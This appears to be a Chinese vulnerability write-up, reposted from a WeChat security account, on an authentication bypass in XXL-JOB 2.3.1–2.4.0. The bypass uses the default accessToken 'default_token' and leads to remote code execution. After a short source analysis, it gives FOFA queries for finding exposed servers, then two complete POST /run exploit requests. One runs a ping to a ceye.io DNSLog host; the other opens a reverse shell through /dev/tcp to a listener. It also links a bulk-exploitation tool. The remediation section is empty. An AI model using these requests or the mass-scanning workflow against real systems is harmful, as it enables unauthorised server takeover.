日期:2025 年 1 月 23 日
作者:hdsec
介绍:XXL-JOB 默认 accessToken 身份认证绕过造成 RCE 漏洞。
0x00 前言
XXL-JOB
是一个分布式任务调度平台,常用于定时任务管理和调度。accessToken
用于身份认证,确保只有合法用户能访问和操作任务。然而,默认配置或实现中的缺陷可能导致认证机制失效。
0x01 漏洞成因
0x02 影响版本
2.31< XXL-JOB
<= 2.4.0
0x03 漏洞分析
简单对该漏洞进行分析一下~
漏洞环境:
https://github.com/xuxueli/xxl-job/releases/tag/2.4.0
下图是在配置文件中的默认值,由于很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token
,攻击者可利用默认值绕过认证,执行任意代码,从而获取服务器权限。
get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN);
获取用户输入的XXL_JOB_ACCESS_TOKEN
值。
accessToken
是不是null
且不为空,和配置文件中的accessToken
是否相等,如果不相等,则返回FAIL_CODE
。
TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
return executorBiz.run(triggerParam);
JSON
格式的字符串requestData
反序列化为TriggerParam
对象。将解析后的任务参数传递给执行器executorBiz
,调用其run
方法执行任务。跟进TriggerParam
这个类,确定需要传递的参数。
run
方法,这段代码是任务调度系统中任务执行的核心逻辑,包括:加载或初始化任务线程和处理器、根据任务类型校验任务处理器、处理任务阻塞策略、注册任务线程、推送任务到队列。
jobThread
,如果无超时控制,直接执行任务。
execute()
。
glueType.isScript()
,检查任务类型是否为脚本类型(如 GLUE_SHELL、GLUE_PYTHON 等)。
String cmd = glueType.getCmd();
获取脚本类型对应的执行命令,后续将执行的命令写入脚本文件。
int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams);
调用系统命令执行脚本文件,并将执行日志输出到指定日志文件并执行脚本文件。
当攻击者构造恶意的执行命令,就会导致RCE
漏洞。详情可见下文漏洞复现。
0x04 漏洞复现
fofa
语句:
"invalid request, HttpMethod not support"&& port="9999"
或者
body="{"code":500,"msg":"invalid request, HttpMethod not support."}"| fofax -fs 10000-e>xxl-job.txt
XXL-JOB-ACCESS-TOKEN: default_token
。
利用下面的请求POC
可以进行DNSLog
探测。
POST /run HTTP/1.1
Host: x.x.x.x:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 378
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "ping x.ceye.io",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
还可以利用 bash -i >& /dev/tcp/监听IP/监听端口 0>&1
进行反弹shell
等操作。
POST /run HTTP/1.1
Host: x.x.x.x:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/监听IP/监听端口 0>&1", "glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
0x05 批量漏洞挖掘
使用fofaEX
等工具进行批量搜集,再使用如下工具进行批量漏洞验证:
https://github.com/charonlight/xxl-jobExploitGUI
0x06 修复建议
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『漏洞复现』XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论